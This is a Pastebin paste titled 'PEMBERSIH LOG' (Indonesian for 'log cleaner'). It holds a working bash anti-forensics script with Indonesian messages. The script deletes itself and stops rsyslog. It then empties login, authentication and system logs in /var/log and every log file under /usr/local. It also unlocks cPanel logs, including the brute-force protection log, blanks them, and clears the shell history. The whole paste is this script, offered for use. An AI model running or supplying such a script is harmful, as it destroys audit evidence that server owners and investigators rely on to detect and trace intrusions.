achon666

PEMBERSIH LOG

Jul 2nd, 2017
439
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.75 KB | None | 0 0
  1. #!/bin/bash
  2. rm -f $0
  3.  
  4. PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
  5.  
  6.  
  7.  
  8. echo " matikan system log"
  9. if [ -f /etc/init.d/rsyslog ];
  10. then
  11. /etc/init.d/rsyslog stop
  12. fi
  13.  
  14. echo " Done => matikan system log"
  15. sleep 2
  16.  
  17.  
  18. echo " matikan wtmp btmp & auth"
  19. for ii in wtmp btmp lastlog messages secure up2date tallylog mcelog kernellog cron
  20. do
  21. if [ -f "/var/log/${ii}" ];then
  22. echo "+ file /var/log/${ii} => ada"
  23. echo > "/var/log/${ii}"
  24. fi
  25. done
  26.  
  27. echo " Done => wtmp btmp & auth"
  28. sleep 2
  29.  
  30.  
  31. if [ -d "/var/log/" ];then
  32. for xdir in `find /var/log/ -type f -name "*_log"`
  33. do
  34. echo > "$xdir"
  35. done
  36. for xxdir in `find /var/log/ -type f -name "*.log"`
  37. do
  38. echo > "$xxdir"
  39. done
  40. for xxxdir in `find /usr/local/ -type f -name "*.log"`
  41. do
  42. echo > "$xxxdir"
  43. done
  44. for xxxxdir in `find /usr/local/ -type f -name "*_log"`
  45. do
  46. echo > "$xxxxdir"
  47. done
  48. echo " Done => Hapus log Web"
  49. fi
  50. chattr -ia /usr/local/cpanel/logs/queueprocd.log
  51. chattr -ia /usr/local/cpanel/logs/cphulkd.log
  52. chattr -ia /usr/local/cpanel/logs/stats_log
  53. chattr -ia /usr/local/cpanel/logs/error_log
  54. chattr -ia /usr/local/cpanel/logs/dnsadmin_log
  55. chattr -ia /usr/local/cpanel/logs/cpdavd_error_log
  56. chattr -ia /usr/local/cpanel/logs/tailwatchd_log
  57. chattr -ia /usr/local/cpanel/logs/spamd_error_log
  58. echo > /usr/local/cpanel/logs/queueprocd.log
  59. echo > /usr/local/cpanel/logs/cphulkd.log
  60. echo > /usr/local/cpanel/logs/stats_log
  61. echo > /usr/local/cpanel/logs/error_log
  62. echo > /usr/local/cpanel/logs/dnsadmin_log
  63. echo > /usr/local/cpanel/logs/cpdavd_error_log
  64. echo > /usr/local/cpanel/logs/tailwatchd_log
  65. echo > /usr/local/cpanel/logs/spamd_error_log
  66. sleep 2
  67. history -c && history -w
  68. echo "==== selesai ===="
Advertisement
Add Comment
Please, Sign In to add comment